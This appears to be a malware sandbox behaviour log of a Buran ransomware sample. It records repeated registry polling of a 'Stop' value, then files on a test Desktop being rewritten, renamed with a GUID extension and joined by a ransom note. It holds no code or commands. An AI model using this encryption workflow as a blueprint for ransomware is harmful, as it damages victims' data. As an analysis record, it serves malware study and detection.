Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
For performance reasons, the remaining 10826 entries are omitted. The remaining entries can be found in glog.xml.

Thread 0xdac

708

Category	Operation	Information	Count	Logfile
File	Create	filename = C:\Users\FD1HVy\Desktop\-IU8WGmE.avi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\-IU8WGmE.avi, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\-IU8WGmE.avi, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\-IU8WGmE.avi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\-IU8WGmE.avi, size = 40575, size_out = 40575	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\-IU8WGmE.avi, size = 40613	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\-IU8WGmE.avi, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\-IU8WGmE.avi, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\-IU8WGmE.avi, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\-IU8WGmE.avi, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\-IU8WGmE.avi, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\-IU8WGmE.avi, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\-IU8WGmE.avi, destination_filename = C:\Users\FD1HVy\Desktop\-IU8WGmE.avi.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\Users\FD1HVy\Desktop\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, size = 412	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\0 HFSllE7M55ZM.flv, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\0 HFSllE7M55ZM.flv, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\0 HFSllE7M55ZM.flv, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\0 HFSllE7M55ZM.flv, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\0 HFSllE7M55ZM.flv, size = 101585, size_out = 101585	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\0 HFSllE7M55ZM.flv, size = 101621	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\0 HFSllE7M55ZM.flv, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\0 HFSllE7M55ZM.flv, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\0 HFSllE7M55ZM.flv, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\0 HFSllE7M55ZM.flv, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\0 HFSllE7M55ZM.flv, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\0 HFSllE7M55ZM.flv, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\0 HFSllE7M55ZM.flv, destination_filename = C:\Users\FD1HVy\Desktop\0 HFSllE7M55ZM.flv.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\0Vo-ly6biRdbFh.bmp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\0Vo-ly6biRdbFh.bmp, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\0Vo-ly6biRdbFh.bmp, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\0Vo-ly6biRdbFh.bmp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\0Vo-ly6biRdbFh.bmp, size = 6344, size_out = 6344	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\0Vo-ly6biRdbFh.bmp, size = 6373	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\0Vo-ly6biRdbFh.bmp, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\0Vo-ly6biRdbFh.bmp, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\0Vo-ly6biRdbFh.bmp, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\0Vo-ly6biRdbFh.bmp, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\0Vo-ly6biRdbFh.bmp, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\0Vo-ly6biRdbFh.bmp, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\0Vo-ly6biRdbFh.bmp, destination_filename = C:\Users\FD1HVy\Desktop\0Vo-ly6biRdbFh.bmp.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\1nAU21n.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\1nAU21n.gif, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\1nAU21n.gif, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\1nAU21n.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\1nAU21n.gif, size = 29908, size_out = 29908	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\1nAU21n.gif, size = 29941	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\1nAU21n.gif, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\1nAU21n.gif, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\1nAU21n.gif, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\1nAU21n.gif, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\1nAU21n.gif, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\1nAU21n.gif, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\1nAU21n.gif, destination_filename = C:\Users\FD1HVy\Desktop\1nAU21n.gif.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\1y GAOepHjz_GGuAnfUs.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\1y GAOepHjz_GGuAnfUs.rtf, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\1y GAOepHjz_GGuAnfUs.rtf, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\1y GAOepHjz_GGuAnfUs.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\1y GAOepHjz_GGuAnfUs.rtf, size = 26495, size_out = 26495	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\1y GAOepHjz_GGuAnfUs.rtf, size = 26533	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\1y GAOepHjz_GGuAnfUs.rtf, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\1y GAOepHjz_GGuAnfUs.rtf, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\1y GAOepHjz_GGuAnfUs.rtf, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\1y GAOepHjz_GGuAnfUs.rtf, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\1y GAOepHjz_GGuAnfUs.rtf, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\1y GAOepHjz_GGuAnfUs.rtf, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\1y GAOepHjz_GGuAnfUs.rtf, destination_filename = C:\Users\FD1HVy\Desktop\1y GAOepHjz_GGuAnfUs.rtf.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\2o0RvoNQH3Pnt6RW4e9V.mp3, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
